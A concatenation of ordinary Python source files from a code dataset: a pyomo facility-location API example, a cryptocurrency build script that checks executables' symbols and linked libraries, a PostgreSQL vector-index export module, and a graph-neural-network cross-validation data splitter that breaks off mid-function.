] | null | null | null | examples/pyomo/facility_location/pmedian_api.py | Fuinn/mos-examples | e7badef779f0918c6d09a52db00eb8f890234b57 | [
"BSD-3-Clause"
] | null | null | null | from dotenv import load_dotenv, find_dotenv
load_dotenv(find_dotenv())
from mos.interface import Interface
# Interface
interface = Interface()
# Delete model
interface.delete_model_with_name('Facility Location')
# New model
model = interface.new_model('./examples/pyomo/facility_location/pmedian.py')
# Get model by name
model = interface.get_model_with_name('Facility Location')
# Set inputs
model.set_interface_file('data', './examples/pyomo/facility_location/pmedian.dat')
assert(model.get_system() == 'pyomo')
assert(model.get_status() == 'created')
# Run
model.run()
assert(model.get_status() == 'success')
assert(len(model.get_execution_log()) > 0)
print(model.get_execution_log())
# Function
obj = model.get_function_state('cost', 'value')
print('objective value: ', obj)
assert(isinstance(obj, float))
# Constraint
| 20.439024 | 82 | 0.75895 | from dotenv import load_dotenv, find_dotenv
load_dotenv(find_dotenv())
from mos.interface import Interface
interface = Interface()
interface.delete_model_with_name('Facility Location')
model = interface.new_model('./examples/pyomo/facility_location/pmedian.py')
model = interface.get_model_with_name('Facility Location')
model.set_interface_file('data', './examples/pyomo/facility_location/pmedian.dat')
assert(model.get_system() == 'pyomo')
assert(model.get_status() == 'created')
model.run()
assert(model.get_status() == 'success')
assert(len(model.get_execution_log()) > 0)
print(model.get_execution_log())
obj = model.get_function_state('cost', 'value')
print('objective value: ', obj)
assert(isinstance(obj, float))
| true | true |
f7f34a85dc6c2816ba4ca27080ecae75e0518578 | 8,898 | py | Python | contrib/devtools/symbol-check.py | Garlic-HM/garliccoin | 9eefb7a2a8c7cccfbc833756c7b16bc181473b6d | [
"MIT"
] | null | null | null | contrib/devtools/symbol-check.py | Garlic-HM/garliccoin | 9eefb7a2a8c7cccfbc833756c7b16bc181473b6d | [
"MIT"
] | null | null | null | contrib/devtools/symbol-check.py | Garlic-HM/garliccoin | 9eefb7a2a8c7cccfbc833756c7b16bc181473b6d | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2014 Wladimir J. van der Laan
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
'''
A script to check that the executables produced by gitian only contain
certain symbols and are only linked against allowed libraries.
Example usage:
find ../gitian-builder/build -type f -executable | xargs python3 contrib/devtools/symbol-check.py
'''
import subprocess
import sys
import os
from typing import List, Optional
import lief
import pixie
# Debian 8 (Jessie) EOL: 2020. https://wiki.debian.org/DebianReleases#Production_Releases
#
# - g++ version 4.9.2 (https://packages.debian.org/search?suite=jessie&arch=any&searchon=names&keywords=g%2B%2B)
# - libc version 2.19 (https://packages.debian.org/search?suite=jessie&arch=any&searchon=names&keywords=libc6)
#
# Ubuntu 16.04 (Xenial) EOL: 2024. https://wiki.ubuntu.com/Releases
#
# - g++ version 5.3.1 (https://packages.ubuntu.com/search?keywords=g%2B%2B&searchon=names&suite=xenial§ion=all)
# - libc version 2.23.0 (https://packages.ubuntu.com/search?keywords=libc6&searchon=names&suite=xenial§ion=all)
#
# CentOS 7 EOL: 2024. https://wiki.centos.org/FAQ/General
#
# - g++ version 4.8.5 (http://mirror.centos.org/centos/7/os/x86_64/Packages/)
# - libc version 2.17 (http://mirror.centos.org/centos/7/os/x86_64/Packages/)
#
# Taking the minimum of these as our target.
#
# According to GNU ABI document (https://gcc.gnu.org/onlinedocs/libstdc++/manual/abi.html) this corresponds to:
# GCC 4.8.5: GCC_4.8.0
# (glibc) GLIBC_2_17
#
MAX_VERSIONS = {
'GCC': (4,8,0),
'GLIBC': (2,17),
'LIBATOMIC': (1,0)
}
# See here for a description of _IO_stdin_used:
# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=634261#109
# Ignore symbols that are exported as part of every executable
IGNORE_EXPORTS = {
'_edata', '_end', '__end__', '_init', '__bss_start', '__bss_start__', '_bss_end__', '__bss_end__', '_fini', '_IO_stdin_used', 'stdin', 'stdout', 'stderr',
'environ', '_environ', '__environ',
}
CPPFILT_CMD = os.getenv('CPPFILT', '/usr/bin/c++filt')
# Allowed NEEDED libraries
ELF_ALLOWED_LIBRARIES = {
# garliccoind and garliccoin-qt
'libgcc_s.so.1', # GCC base support
'libc.so.6', # C library
'libpthread.so.0', # threading
'libm.so.6', # math library
'librt.so.1', # real-time (clock)
'libatomic.so.1',
'ld-linux-x86-64.so.2', # 64-bit dynamic linker
'ld-linux.so.2', # 32-bit dynamic linker
'ld-linux-aarch64.so.1', # 64-bit ARM dynamic linker
'ld-linux-armhf.so.3', # 32-bit ARM dynamic linker
'ld64.so.1', # POWER64 ABIv1 dynamic linker
'ld64.so.2', # POWER64 ABIv2 dynamic linker
'ld-linux-riscv64-lp64d.so.1', # 64-bit RISC-V dynamic linker
# garliccoin-qt only
'libxcb.so.1', # part of X11
'libxkbcommon.so.0', # keyboard keymapping
'libxkbcommon-x11.so.0', # keyboard keymapping
'libfontconfig.so.1', # font support
'libfreetype.so.6', # font parsing
'libdl.so.2' # programming interface to dynamic linker
}
ARCH_MIN_GLIBC_VER = {
pixie.EM_386: (2,1),
pixie.EM_X86_64: (2,2,5),
pixie.EM_ARM: (2,4),
pixie.EM_AARCH64:(2,17),
pixie.EM_PPC64: (2,17),
pixie.EM_RISCV: (2,27)
}
MACHO_ALLOWED_LIBRARIES = {
# garliccoind and garliccoin-qt
'libc++.1.dylib', # C++ Standard Library
'libSystem.B.dylib', # libc, libm, libpthread, libinfo
# garliccoin-qt only
'AppKit', # user interface
'ApplicationServices', # common application tasks.
'Carbon', # deprecated c back-compat API
'CoreFoundation', # low level func, data types
'CoreGraphics', # 2D rendering
'CoreServices', # operating system services
'CoreText', # interface for laying out text and handling fonts.
'CoreVideo', # video processing
'Foundation', # base layer functionality for apps/frameworks
'ImageIO', # read and write image file formats.
'IOKit', # user-space access to hardware devices and drivers.
'IOSurface', # cross process image/drawing buffers
'libobjc.A.dylib', # Objective-C runtime library
'Metal', # 3D graphics
'Security', # access control and authentication
'QuartzCore', # animation
}
PE_ALLOWED_LIBRARIES = {
'ADVAPI32.dll', # security & registry
'IPHLPAPI.DLL', # IP helper API
'KERNEL32.dll', # win32 base APIs
'msvcrt.dll', # C standard library for MSVC
'SHELL32.dll', # shell API
'USER32.dll', # user interface
'WS2_32.dll', # sockets
# garliccoin-qt only
'dwmapi.dll', # desktop window manager
'GDI32.dll', # graphics device interface
'IMM32.dll', # input method editor
'NETAPI32.dll',
'ole32.dll', # component object model
'OLEAUT32.dll', # OLE Automation API
'SHLWAPI.dll', # light weight shell API
'USERENV.dll',
'UxTheme.dll',
'VERSION.dll', # version checking
'WINMM.dll', # WinMM audio API
'WTSAPI32.dll',
}
class CPPFilt(object):
'''
Demangle C++ symbol names.
Use a pipe to the 'c++filt' command.
'''
def __init__(self):
self.proc = subprocess.Popen(CPPFILT_CMD, stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True)
def __call__(self, mangled):
self.proc.stdin.write(mangled + '\n')
self.proc.stdin.flush()
return self.proc.stdout.readline().rstrip()
def close(self):
self.proc.stdin.close()
self.proc.stdout.close()
self.proc.wait()
def check_version(max_versions, version, arch) -> bool:
if '_' in version:
(lib, _, ver) = version.rpartition('_')
else:
lib = version
ver = '0'
ver = tuple([int(x) for x in ver.split('.')])
if not lib in max_versions:
return False
return ver <= max_versions[lib] or lib == 'GLIBC' and ver <= ARCH_MIN_GLIBC_VER[arch]
def check_imported_symbols(filename) -> bool:
elf = pixie.load(filename)
cppfilt = CPPFilt()
ok: bool = True
for symbol in elf.dyn_symbols:
if not symbol.is_import:
continue
sym = symbol.name.decode()
version = symbol.version.decode() if symbol.version is not None else None
if version and not check_version(MAX_VERSIONS, version, elf.hdr.e_machine):
print('{}: symbol {} from unsupported version {}'.format(filename, cppfilt(sym), version))
ok = False
return ok
def check_exported_symbols(filename) -> bool:
elf = pixie.load(filename)
cppfilt = CPPFilt()
ok: bool = True
for symbol in elf.dyn_symbols:
if not symbol.is_export:
continue
sym = symbol.name.decode()
if elf.hdr.e_machine == pixie.EM_RISCV or sym in IGNORE_EXPORTS:
continue
print('{}: export of symbol {} not allowed'.format(filename, cppfilt(sym)))
ok = False
return ok
def check_ELF_libraries(filename) -> bool:
ok: bool = True
elf = pixie.load(filename)
for library_name in elf.query_dyn_tags(pixie.DT_NEEDED):
assert(isinstance(library_name, bytes))
if library_name.decode() not in ELF_ALLOWED_LIBRARIES:
print('{}: NEEDED library {} is not allowed'.format(filename, library_name.decode()))
ok = False
return ok
def check_MACHO_libraries(filename) -> bool:
ok: bool = True
binary = lief.parse(filename)
for dylib in binary.libraries:
split = dylib.name.split('/')
if split[-1] not in MACHO_ALLOWED_LIBRARIES:
print(f'{split[-1]} is not in ALLOWED_LIBRARIES!')
ok = False
return ok
def check_PE_libraries(filename) -> bool:
ok: bool = True
binary = lief.parse(filename)
for dylib in binary.libraries:
if dylib not in PE_ALLOWED_LIBRARIES:
print(f'{dylib} is not in ALLOWED_LIBRARIES!')
ok = False
return ok
CHECKS = {
'ELF': [
('IMPORTED_SYMBOLS', check_imported_symbols),
('EXPORTED_SYMBOLS', check_exported_symbols),
('LIBRARY_DEPENDENCIES', check_ELF_libraries)
],
'MACHO': [
('DYNAMIC_LIBRARIES', check_MACHO_libraries)
],
'PE' : [
('DYNAMIC_LIBRARIES', check_PE_libraries)
]
}
def identify_executable(executable) -> Optional[str]:
with open(filename, 'rb') as f:
magic = f.read(4)
if magic.startswith(b'MZ'):
return 'PE'
elif magic.startswith(b'\x7fELF'):
return 'ELF'
elif magic.startswith(b'\xcf\xfa'):
return 'MACHO'
return None
if __name__ == '__main__':
retval: int = 0
for filename in sys.argv[1:]:
try:
etype = identify_executable(filename)
if etype is None:
print(f'{filename}: unknown format')
retval = 1
continue
failed: List[str] = []
for (name, func) in CHECKS[etype]:
if not func(filename):
failed.append(name)
if failed:
print(f'{filename}: failed {" ".join(failed)}')
retval = 1
except IOError:
print(f'{filename}: cannot open')
retval = 1
sys.exit(retval)
| 32.955556 | 154 | 0.667453 |
import subprocess
import sys
import os
from typing import List, Optional
import lief
import pixie
MAX_VERSIONS = {
'GCC': (4,8,0),
'GLIBC': (2,17),
'LIBATOMIC': (1,0)
}
GNORE_EXPORTS = {
'_edata', '_end', '__end__', '_init', '__bss_start', '__bss_start__', '_bss_end__', '__bss_end__', '_fini', '_IO_stdin_used', 'stdin', 'stdout', 'stderr',
'environ', '_environ', '__environ',
}
CPPFILT_CMD = os.getenv('CPPFILT', '/usr/bin/c++filt')
ELF_ALLOWED_LIBRARIES = {
'libgcc_s.so.1',
'libc.so.6',
'libpthread.so.0',
'libm.so.6',
'librt.so.1',
'libatomic.so.1',
'ld-linux-x86-64.so.2',
'ld-linux.so.2',
'ld-linux-aarch64.so.1',
'ld-linux-armhf.so.3',
'ld64.so.1',
'ld64.so.2',
'ld-linux-riscv64-lp64d.so.1',
'libxcb.so.1',
'libxkbcommon.so.0',
'libxkbcommon-x11.so.0',
'libfontconfig.so.1',
'libfreetype.so.6',
'libdl.so.2'
}
ARCH_MIN_GLIBC_VER = {
pixie.EM_386: (2,1),
pixie.EM_X86_64: (2,2,5),
pixie.EM_ARM: (2,4),
pixie.EM_AARCH64:(2,17),
pixie.EM_PPC64: (2,17),
pixie.EM_RISCV: (2,27)
}
MACHO_ALLOWED_LIBRARIES = {
'libc++.1.dylib',
'libSystem.B.dylib',
'AppKit',
'ApplicationServices',
'Carbon',
'CoreFoundation',
'CoreGraphics',
'CoreServices',
'CoreText',
'CoreVideo',
'Foundation',
'ImageIO',
'IOKit',
'IOSurface',
'libobjc.A.dylib',
'Metal',
'Security',
'QuartzCore',
}
PE_ALLOWED_LIBRARIES = {
'ADVAPI32.dll',
'IPHLPAPI.DLL',
'KERNEL32.dll',
'msvcrt.dll',
'SHELL32.dll',
'USER32.dll',
'WS2_32.dll',
'dwmapi.dll',
'GDI32.dll',
'IMM32.dll',
'NETAPI32.dll',
'ole32.dll',
'OLEAUT32.dll',
'SHLWAPI.dll',
'USERENV.dll',
'UxTheme.dll',
'VERSION.dll',
'WINMM.dll',
'WTSAPI32.dll',
}
class CPPFilt(object):
def __init__(self):
self.proc = subprocess.Popen(CPPFILT_CMD, stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True)
def __call__(self, mangled):
self.proc.stdin.write(mangled + '\n')
self.proc.stdin.flush()
return self.proc.stdout.readline().rstrip()
def close(self):
self.proc.stdin.close()
self.proc.stdout.close()
self.proc.wait()
def check_version(max_versions, version, arch) -> bool:
if '_' in version:
(lib, _, ver) = version.rpartition('_')
else:
lib = version
ver = '0'
ver = tuple([int(x) for x in ver.split('.')])
if not lib in max_versions:
return False
return ver <= max_versions[lib] or lib == 'GLIBC' and ver <= ARCH_MIN_GLIBC_VER[arch]
def check_imported_symbols(filename) -> bool:
elf = pixie.load(filename)
cppfilt = CPPFilt()
ok: bool = True
for symbol in elf.dyn_symbols:
if not symbol.is_import:
continue
sym = symbol.name.decode()
version = symbol.version.decode() if symbol.version is not None else None
if version and not check_version(MAX_VERSIONS, version, elf.hdr.e_machine):
print('{}: symbol {} from unsupported version {}'.format(filename, cppfilt(sym), version))
ok = False
return ok
def check_exported_symbols(filename) -> bool:
elf = pixie.load(filename)
cppfilt = CPPFilt()
ok: bool = True
for symbol in elf.dyn_symbols:
if not symbol.is_export:
continue
sym = symbol.name.decode()
if elf.hdr.e_machine == pixie.EM_RISCV or sym in IGNORE_EXPORTS:
continue
print('{}: export of symbol {} not allowed'.format(filename, cppfilt(sym)))
ok = False
return ok
def check_ELF_libraries(filename) -> bool:
ok: bool = True
elf = pixie.load(filename)
for library_name in elf.query_dyn_tags(pixie.DT_NEEDED):
assert(isinstance(library_name, bytes))
if library_name.decode() not in ELF_ALLOWED_LIBRARIES:
print('{}: NEEDED library {} is not allowed'.format(filename, library_name.decode()))
ok = False
return ok
def check_MACHO_libraries(filename) -> bool:
ok: bool = True
binary = lief.parse(filename)
for dylib in binary.libraries:
split = dylib.name.split('/')
if split[-1] not in MACHO_ALLOWED_LIBRARIES:
print(f'{split[-1]} is not in ALLOWED_LIBRARIES!')
ok = False
return ok
def check_PE_libraries(filename) -> bool:
ok: bool = True
binary = lief.parse(filename)
for dylib in binary.libraries:
if dylib not in PE_ALLOWED_LIBRARIES:
print(f'{dylib} is not in ALLOWED_LIBRARIES!')
ok = False
return ok
CHECKS = {
'ELF': [
('IMPORTED_SYMBOLS', check_imported_symbols),
('EXPORTED_SYMBOLS', check_exported_symbols),
('LIBRARY_DEPENDENCIES', check_ELF_libraries)
],
'MACHO': [
('DYNAMIC_LIBRARIES', check_MACHO_libraries)
],
'PE' : [
('DYNAMIC_LIBRARIES', check_PE_libraries)
]
}
def identify_executable(executable) -> Optional[str]:
with open(filename, 'rb') as f:
magic = f.read(4)
if magic.startswith(b'MZ'):
return 'PE'
elif magic.startswith(b'\x7fELF'):
return 'ELF'
elif magic.startswith(b'\xcf\xfa'):
return 'MACHO'
return None
if __name__ == '__main__':
retval: int = 0
for filename in sys.argv[1:]:
try:
etype = identify_executable(filename)
if etype is None:
print(f'{filename}: unknown format')
retval = 1
continue
failed: List[str] = []
for (name, func) in CHECKS[etype]:
if not func(filename):
failed.append(name)
if failed:
print(f'{filename}: failed {" ".join(failed)}')
retval = 1
except IOError:
print(f'{filename}: cannot open')
retval = 1
sys.exit(retval)
| true | true |
f7f34cab8bf485d50094b366e55cc9a8ba3aff83 | 3,964 | py | Python | index_creation/database_export.py | lukasstracke/postgres-word2vec | 5e469aa59d0f322980ae37683d390b0457119300 | [
"MIT"
] | 131 | 2018-02-13T08:26:15.000Z | 2022-03-14T22:43:56.000Z | index_creation/database_export.py | lukasstracke/postgres-word2vec | 5e469aa59d0f322980ae37683d390b0457119300 | [
"MIT"
] | 7 | 2018-02-17T15:25:29.000Z | 2021-10-06T12:47:39.000Z | index_creation/database_export.py | lukasstracke/postgres-word2vec | 5e469aa59d0f322980ae37683d390b0457119300 | [
"MIT"
] | 17 | 2018-06-12T19:37:20.000Z | 2021-03-19T14:34:00.000Z | import psycopg2
import index_utils as utils
USE_BYTEA_TYPE = True
def create_connection(db_config, logger):
con = None
cur = None
print("dbname='" + db_config.get_value('db_name') + "' user='" + db_config.get_value('username') + "' host='" + db_config.get_value('host') + "' password='" + db_config.get_value('password') + "'")
# create db connection
try:
con = psycopg2.connect("dbname='" + db_config.get_value('db_name') + "' user='" + db_config.get_value('username') + "' host='" + db_config.get_value('host') + "' password='" + db_config.get_value('password') + "'")
except:
logger.log(logger.ERROR, 'Can not connect to database')
return
cur = con.cursor()
return con, cur
def add_codebook_to_database(codebook, fine_counts, con, cur, index_config):
for pos in range(len(codebook)):
values = []
for i in range(len(codebook[pos])):
output_vec = utils.serialize_vector(codebook[pos][i])
count = fine_counts[(pos, i)] if (pos, i) in fine_counts else 0
values.append({"pos": pos, "code": i, "vector": output_vec, "count": count})
if USE_BYTEA_TYPE:
cur.executemany("INSERT INTO "+ index_config.get_value('cb_table_name') + " (pos,code,vector,count) VALUES (%(pos)s, %(code)s, vec_to_bytea(%(vector)s::float4[]), %(count)s)", tuple(values))
else:
cur.executemany("INSERT INTO "+ index_config.get_value('cb_table_name') + " (pos,code,vector,count) VALUES (%(pos)s, %(code)s, %(vector)s, %(count)s)", tuple(values))
con.commit()
return
def add_cq_to_database(cq, coarse_counts, con, cur, index_config):
# add coarse quantization
values = []
for i in range(len(cq)):#
output_vec = utils.serialize_vector(cq[i])
count = coarse_counts[i] if i in coarse_counts else 0
values.append({"id": i, "vector": output_vec, "count": count})
if USE_BYTEA_TYPE:
cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + " (id, vector, count) VALUES (%(id)s, vec_to_bytea(%(vector)s::float4[]), %(count)s)", tuple(values))
else:
cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + " (id, vector, count) VALUES (%(id)s, %(vector)s, %(count)s)", tuple(values))
con.commit()
return
def add_multi_cq_to_database(cq, coarse_counts, con, cur, index_config):
BATCH_SIZE = 100
m = len(cq)
num_centr = index_config.get_value('k_coarse')
# add quantizer
for pos in range(len(cq)):
values = []
for i in range(len(cq[pos])):
output_vec = utils.serialize_vector(cq[pos][i])
values.append({"pos": pos, "code": i, "vector": output_vec})
if USE_BYTEA_TYPE:
cur.executemany("INSERT INTO "+ index_config.get_value('coarse_table_name') + " (pos,code,vector) VALUES (%(pos)s, %(code)s, vec_to_bytea(%(vector)s::float4[]))", tuple(values))
else:
cur.executemany("INSERT INTO "+ index_config.get_value('coarse_table_name') + " (pos,code,vector) VALUES (%(pos)s, %(code)s, %(vector)s)", tuple(values))
con.commit()
# add counts
divide_code = lambda code, units, length: tuple([int((code / units**i) % units) for i in range(length)]) # devides code into centroid ids
batch = []
for code in range(num_centr**m):
key = divide_code(code, num_centr, m)
count = coarse_counts[key] if key in coarse_counts else 0
batch.append({"id": code, "count": count})
if code % BATCH_SIZE == 0:
cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + "_counts" + " (id, count) VALUES (%(id)s, %(count)s)", tuple(batch))
con.commit()
batch = []
cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + "_counts" + " (id, count) VALUES (%(id)s, %(count)s)", tuple(batch))
con.commit()
return
| 50.820513 | 222 | 0.627397 | import psycopg2
import index_utils as utils
USE_BYTEA_TYPE = True
def create_connection(db_config, logger):
con = None
cur = None
print("dbname='" + db_config.get_value('db_name') + "' user='" + db_config.get_value('username') + "' host='" + db_config.get_value('host') + "' password='" + db_config.get_value('password') + "'")
try:
con = psycopg2.connect("dbname='" + db_config.get_value('db_name') + "' user='" + db_config.get_value('username') + "' host='" + db_config.get_value('host') + "' password='" + db_config.get_value('password') + "'")
except:
logger.log(logger.ERROR, 'Can not connect to database')
return
cur = con.cursor()
return con, cur
def add_codebook_to_database(codebook, fine_counts, con, cur, index_config):
for pos in range(len(codebook)):
values = []
for i in range(len(codebook[pos])):
output_vec = utils.serialize_vector(codebook[pos][i])
count = fine_counts[(pos, i)] if (pos, i) in fine_counts else 0
values.append({"pos": pos, "code": i, "vector": output_vec, "count": count})
if USE_BYTEA_TYPE:
cur.executemany("INSERT INTO "+ index_config.get_value('cb_table_name') + " (pos,code,vector,count) VALUES (%(pos)s, %(code)s, vec_to_bytea(%(vector)s::float4[]), %(count)s)", tuple(values))
else:
cur.executemany("INSERT INTO "+ index_config.get_value('cb_table_name') + " (pos,code,vector,count) VALUES (%(pos)s, %(code)s, %(vector)s, %(count)s)", tuple(values))
con.commit()
return
def add_cq_to_database(cq, coarse_counts, con, cur, index_config):
values = []
for i in range(len(cq)):
output_vec = utils.serialize_vector(cq[i])
count = coarse_counts[i] if i in coarse_counts else 0
values.append({"id": i, "vector": output_vec, "count": count})
if USE_BYTEA_TYPE:
cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + " (id, vector, count) VALUES (%(id)s, vec_to_bytea(%(vector)s::float4[]), %(count)s)", tuple(values))
else:
cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + " (id, vector, count) VALUES (%(id)s, %(vector)s, %(count)s)", tuple(values))
con.commit()
return
def add_multi_cq_to_database(cq, coarse_counts, con, cur, index_config):
BATCH_SIZE = 100
m = len(cq)
num_centr = index_config.get_value('k_coarse')
for pos in range(len(cq)):
values = []
for i in range(len(cq[pos])):
output_vec = utils.serialize_vector(cq[pos][i])
values.append({"pos": pos, "code": i, "vector": output_vec})
if USE_BYTEA_TYPE:
cur.executemany("INSERT INTO "+ index_config.get_value('coarse_table_name') + " (pos,code,vector) VALUES (%(pos)s, %(code)s, vec_to_bytea(%(vector)s::float4[]))", tuple(values))
else:
cur.executemany("INSERT INTO "+ index_config.get_value('coarse_table_name') + " (pos,code,vector) VALUES (%(pos)s, %(code)s, %(vector)s)", tuple(values))
con.commit()
divide_code = lambda code, units, length: tuple([int((code / units**i) % units) for i in range(length)])
batch = []
for code in range(num_centr**m):
key = divide_code(code, num_centr, m)
count = coarse_counts[key] if key in coarse_counts else 0
batch.append({"id": code, "count": count})
if code % BATCH_SIZE == 0:
cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + "_counts" + " (id, count) VALUES (%(id)s, %(count)s)", tuple(batch))
con.commit()
batch = []
cur.executemany("INSERT INTO " + index_config.get_value('coarse_table_name') + "_counts" + " (id, count) VALUES (%(id)s, %(count)s)", tuple(batch))
con.commit()
return
| true | true |
f7f34d19fd9ebe10da0e7c059fb327cdd8d5b7b5 | 9,050 | py | Python | Code/sage+gat+diffpool/cross_val.py | baustin13/two-stg-alma | 6400fbf1435fc4ef78331f8c730ce09dc5665cd5 | [
"MIT"
] | 7 | 2021-03-18T00:04:54.000Z | 2021-09-05T02:18:09.000Z | Code/sage+gat+diffpool/cross_val.py | baustin13/two-stg-alma | 6400fbf1435fc4ef78331f8c730ce09dc5665cd5 | [
"MIT"
] | null | null | null | Code/sage+gat+diffpool/cross_val.py | baustin13/two-stg-alma | 6400fbf1435fc4ef78331f8c730ce09dc5665cd5 | [
"MIT"
] | 2 | 2021-06-17T07:27:32.000Z | 2021-09-05T02:18:11.000Z | import networkx as nx
import numpy as np
import torch
import pickle
import random
from graph_sampler import GraphSampler
def prepare_val_data(graphs, args, val_idx, max_nodes=0):
random.shuffle(graphs)
val_size = len(graphs) // 10
train_graphs = graphs[:val_idx * val_size]
if val_idx < 9:
train_graphs = train_graphs + graphs[(val_idx+1) * val_size :]
val_graphs = graphs[val_idx*val_size: (val_idx+1)*val_size]
print('Num training graphs: ', len(train_graphs),
'; Num validation graphs: ', len(val_graphs))
print('Number of graphs: ', len(graphs))
print('Number of edges: ', sum([G.number_of_edges() for G in graphs]))
print('Max, avg, std of graph size: ',
max([G.number_of_nodes() for G in graphs]), ', '
"{0:.2f}".format(np.mean([G.number_of_nodes() for G in graphs])), ', '
"{0:.2f}".format(np.std([G.number_of_nodes() for G in graphs])))
# minibatch
dataset_sampler = GraphSampler(train_graphs, normalize=False, max_num_nodes=max_nodes,
features=args.feature_type)
train_dataset_loader = torch.utils.data.DataLoader(
dataset_sampler,
batch_size=args.batch_size,
shuffle=True,
num_workers=args.num_workers)
dataset_sampler = GraphSampler(val_graphs, normalize=False, max_num_nodes=max_nodes,
features=args.feature_type)
val_dataset_loader = torch.utils.data.DataLoader(
dataset_sampler,
batch_size=args.batch_size,
shuffle=False,
num_workers=args.num_workers)
print("feat dim")
print(dataset_sampler.feat_dim)
return train_dataset_loader, val_dataset_loader, \
dataset_sampler.max_num_nodes, dataset_sampler.feat_dim, dataset_sampler.assign_feat_dim
# split train, val, test sets: for original differential pooling setting (each train, val, test is a data loader)
def split_train_val_normal(graphs, args, val_test_idx, max_nodes, feat):
# split train, val, test
## if there is a validation set: 80% train, 10% val, 10% test
if args.val == True:
val_test_size = len(graphs) // 5
train_graphs = graphs[:val_test_idx * val_test_size]
if val_test_idx < 4:
train_graphs = train_graphs + graphs[(val_test_idx+1) * val_test_size :]
val_test_graphs = graphs[val_test_idx*val_test_size: (val_test_idx+1)*val_test_size]
val_size = len(val_test_graphs) // 2
val_graphs = val_test_graphs[:val_size]
test_graphs = val_test_graphs[val_size:]
## if there is no validation set: 90% train, 10% test
else:
test_idx = val_test_idx
test_size = len(graphs) // 10
train_graphs = graphs[:test_idx * test_size]
if test_idx < 9:
train_graphs = train_graphs + graphs[(test_idx+1) * test_size :]
test_graphs = graphs[test_idx*test_size: (test_idx+1)*test_size]
# train set loader
print(len(train_graphs))
dataset_sampler = GraphSampler(train_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type)
train_dataset_loader = torch.utils.data.DataLoader(
dataset_sampler,
batch_size=args.batch_size,
shuffle=True,
num_workers=args.num_workers)
# test set loader
testset_sampler = GraphSampler(test_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type)
test_dataset_loader = torch.utils.data.DataLoader(
testset_sampler,
batch_size=args.batch_size,
shuffle=True,
num_workers=args.num_workers)
if args.val:
valset_sampler = GraphSampler(val_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type)
val_dataset_loader = torch.utils.data.DataLoader(
valset_sampler,
batch_size=args.batch_size,
shuffle=False,
num_workers=args.num_workers)
else:
val_dataset_loader = test_dataset_loader
#print("feat dim")
#print(dataset_sampler.feat_dim)
return train_dataset_loader, test_dataset_loader, val_dataset_loader, \
dataset_sampler.max_num_nodes, dataset_sampler.feat_dim, dataset_sampler.assign_feat_dim
# split train, val, test sets: for triplet train setting (each train, val, test is a dictionary, keys are the classes, values are arrays of graphs)
def split_train_val(graphs, args, val_test_idx, max_nodes, feat):
num_classes = args.num_classes
# shuffle the dataset
random.shuffle(graphs)
# split train, val, test
## if there is a validation set: 80% train, 10% val, 10% test
if args.val == True:
val_test_size = len(graphs) // 5
train_graphs = graphs[:val_test_idx * val_test_size]
if val_test_idx < 4:
train_graphs = train_graphs + graphs[(val_test_idx+1) * val_test_size :]
val_test_graphs = graphs[val_test_idx*val_test_size: (val_test_idx+1)*val_test_size]
val_size = len(val_test_graphs) // 2
val_graphs = val_test_graphs[:val_size]
test_graphs = val_test_graphs[val_size:]
## if there is no validation set: 90% train, 10% test
else:
test_idx = val_test_idx
test_size = len(graphs) // 10
train_graphs = graphs[:test_idx * test_size]
if test_idx < 9:
train_graphs = train_graphs + graphs[(test_idx+1) * test_size :]
test_graphs = graphs[test_idx*test_size: (test_idx+1)*test_size]
train_graphs_dict = dict()
test_graphs_dict = dict()
val_graphs_dict = dict()
for i in range(num_classes):
train_graphs_dict[i] = []
test_graphs_dict[i] = []
val_graphs_dict[i] = []
node_list = list(train_graphs[0].nodes)
representative_node = node_list[0]
feat_dim = train_graphs[0].nodes[representative_node]['feat'].shape[0]
assign_feat_dim = feat_dim
for train_graph in train_graphs:
num_nodes = train_graph.number_of_nodes()
# label
label = int(train_graph.graph['label'])
# adj
adj = np.array(nx.to_numpy_matrix(train_graph))
adj_padded = np.zeros((max_nodes, max_nodes))
adj_padded[:num_nodes, :num_nodes] = adj
train_graph.graph['adj'] = adj_padded
# feats
f = np.zeros((max_nodes, feat_dim), dtype=float)
for i,u in enumerate(train_graph.nodes()):
if args.feature_type == 'node-label':
f[i,:] = train_graph.nodes[u]['feat']
else:
f[i,:] = (train_graph.nodes[u]['feat'].data).cpu().numpy()
train_graph.graph['feats'] = f
# num_nodes
train_graph.graph['num_nodes'] = num_nodes
# assign feats
train_graph.graph['assign_feats'] = f
train_graphs_dict[label].append(train_graph)
for test_graph in test_graphs:
num_nodes = test_graph.number_of_nodes()
# label
label = int(test_graph.graph['label'])
# adj
adj = np.array(nx.to_numpy_matrix(test_graph))
adj_padded = np.zeros((max_nodes, max_nodes))
adj_padded[:num_nodes, :num_nodes] = adj
test_graph.graph['adj'] = adj_padded
# feats
f = np.zeros((max_nodes, feat_dim), dtype=float)
for i,u in enumerate(test_graph.nodes()):
if args.feature_type == 'node-label':
f[i,:] = test_graph.nodes[u]['feat']
else:
f[i,:] = (test_graph.nodes[u]['feat'].data).cpu().numpy()
test_graph.graph['feats'] = f
# num_nodes
test_graph.graph['num_nodes'] = num_nodes
# assign feats
test_graph.graph['assign_feats'] = f
test_graphs_dict[label].append(test_graph)
if args.val == True:
for val_graph in val_graphs:
num_nodes = val_graph.number_of_nodes()
# label
label = int(val_graph.graph['label'])
# adj
adj = np.array(nx.to_numpy_matrix(val_graph))
adj_padded = np.zeros((max_nodes, max_nodes))
adj_padded[:num_nodes, :num_nodes] = adj
val_graph.graph['adj'] = adj_padded
# feats
f = np.zeros((max_nodes, feat_dim), dtype=float)
for i,u in enumerate(val_graph.nodes()):
if args.feature_type == 'node-label':
f[i,:] = val_graph.nodes[u]['feat']
else:
